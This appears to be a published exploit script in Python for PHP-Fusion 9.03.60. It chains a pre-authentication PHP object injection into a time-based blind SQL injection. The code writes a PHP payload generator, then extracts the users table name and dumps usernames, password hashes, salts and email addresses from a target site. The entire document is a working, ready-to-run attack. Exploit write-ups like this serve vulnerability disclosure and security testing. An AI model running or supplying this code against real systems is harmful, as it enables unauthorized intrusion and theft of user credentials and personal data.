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# Exploit Title: PHP-Fusion 9.03.60 - PHP Object Injection # Date: 2020-05-26 # Exploit Author: coiffeur # Vendor Homepage: https://www.php-fusion.co.uk/home.php # Software Link: https://www.php-fusion.co.uk/php_fusion_9_downloads.php # Version: v9.03.60 # Description: # PHP Object Injection to SQL injection (pre-auth) import sys import requests import subprocess GENERATOR_NAME = "gen.php" GENERATOR_CONTENT = """<?php if (count($argv) < 2) { echo 'Usage: php gen.php "<PAYLOAD>"'; die; } $ar["comment_item_id"] = "1"; $ar["comment_item_type"] = $argv[1]; $payload = urlencode(base64_encode(serialize($ar))); echo $payload; ?> """ DEBUG = 1 DELTA = None TRESHOLD = 0.60 LIKE = "f%admin" COLUMNS = ["user_id", "user_name", "user_algo", "user_salt", "user_password", "user_admin_algo", "user_admin_salt", "user_admin_password", "user_email"] def usage(): banner = """NAME: PHPFusion v9.03.50, PHP Object Injection to SQL injection SYNOPSIS: python poi_to_sqli_9.03.50.py <URL> DESCRIPTION: Dump the content of the table named fusionX...X_users AUTHOR: coiffeur """ print(banner) def generator(action): if action == "w": with open(GENERATOR_NAME, "w") as f: f.write(GENERATOR_CONTENT) if action == "r": _ = subprocess.Popen(["rm", GENERATOR_NAME], stdout=subprocess.PIPE) def generate_payload(text): p = subprocess.Popen(["php", GENERATOR_NAME, text], stdout=subprocess.PIPE) out, _ = p.communicate() return out def check(payload): datas = {"comment_options": generate_payload(payload)} r = requests.post( url=f"{sys.argv[1]}/includes/classes/PHPFusion/Feedback/Comments.ajax.php", data=datas) return r.elapsed.total_seconds() def evaluate_delay(): global DELTA deltas = [] payload = "' UNION SELECT SLEEP(2)-- - '" for _ in range(3): deltas.append(check(payload)) DELTA = sum(deltas)/len(deltas) def get_tbl_name_len(): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<{i} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: return i-1 if i > 100: print(f"[x] Exploit failed") exit(-1) i += 1 def get_tbl_name(length): tbl_name = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR(table_name,{i},1)) FROM information_schema.tables WHERE table_name LIKE '{LIKE}' )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 tbl_name += chr(min) if DEBUG: print(f"[DEBUG] Table name: {tbl_name}") return tbl_name def get_rows_number(tbl_name): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT COUNT(user_name) FROM {tbl_name})>{i} THEN 0 ELSE SLEEP(2) END) -- - '" if check(payload) >= DELTA*TRESHOLD: return i i += 1 def get_elt_len(tbl_name, column_name, offset): i = 0 while 1: payload = f"' UNION SELECT (CASE WHEN (SELECT LENGTH({column_name}) FROM {tbl_name} LIMIT 1 OFFSET {offset})<{i} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: if DEBUG: print( f"[DEBUG] Element {offset} in {column_name} from {tbl_name} length: {i-1}") return i-1 i += 1 def get_elt(tbl_name, column_name, offset, length): elt = "" for i in range(1, length+1): min, max = 0, 127-1 while min < max: mid = (max + min) // 2 payload = f"' UNION SELECT (CASE WHEN (SELECT ASCII(SUBSTR({column_name},{i},1)) FROM {tbl_name} LIMIT 1 OFFSET {offset} )<={mid} THEN SLEEP(2) ELSE 0 END) -- - '" if check(payload) >= DELTA*TRESHOLD: max = mid else: min = mid + 1 elt += chr(min) if DEBUG: print( f"[DEBUG] Element {offset} in {column_name} from {tbl_name}: {elt}") print(f"[*] Element {offset} in {column_name} from {tbl_name}: {elt}") return elt def get_rows(tbl_name, row_number): print(f"[*] Trying to dump {tbl_name}") rows = [] for offset in range(row_number): row = [] for column_name in COLUMNS: elt_length = get_elt_len(tbl_name, column_name, offset) row.append(get_elt(tbl_name, column_name, offset, elt_length)) print(f"[*] Row {offset}: {row}") rows.append(row) print(f"[*] Rows: {rows}") def main(): if len(sys.argv) < 2: print(usage()) exit(-1) if DEBUG: print(f"[*] Target: {sys.argv[1]}") if DEBUG: print(f"[DEBUG] Writting generator to {GENERATOR_NAME}") generator("w") evaluate_delay() if DEBUG: print(f"[*] Delta: {DELTA}") tbl_name_len = get_tbl_name_len() if DEBUG: print( f"[DEBUG] Looking for table like {LIKE} with length {tbl_name_len}") tbl_name = get_tbl_name(tbl_name_len) print(f"Table name: {tbl_name}") prefix = f"{tbl_name.split('_')[0]}_" print(f"[*] Prefix: {prefix}") user_table_name = f"{prefix}users" number_of_rows = get_rows_number(user_table_name) if DEBUG: print(f"[*] {user_table_name} got {number_of_rows} rows") get_rows(user_table_name, number_of_rows) if DEBUG: print(f"[DEBUG] Removing{GENERATOR_NAME}") generator("r") if __name__ == "__main__": main() |
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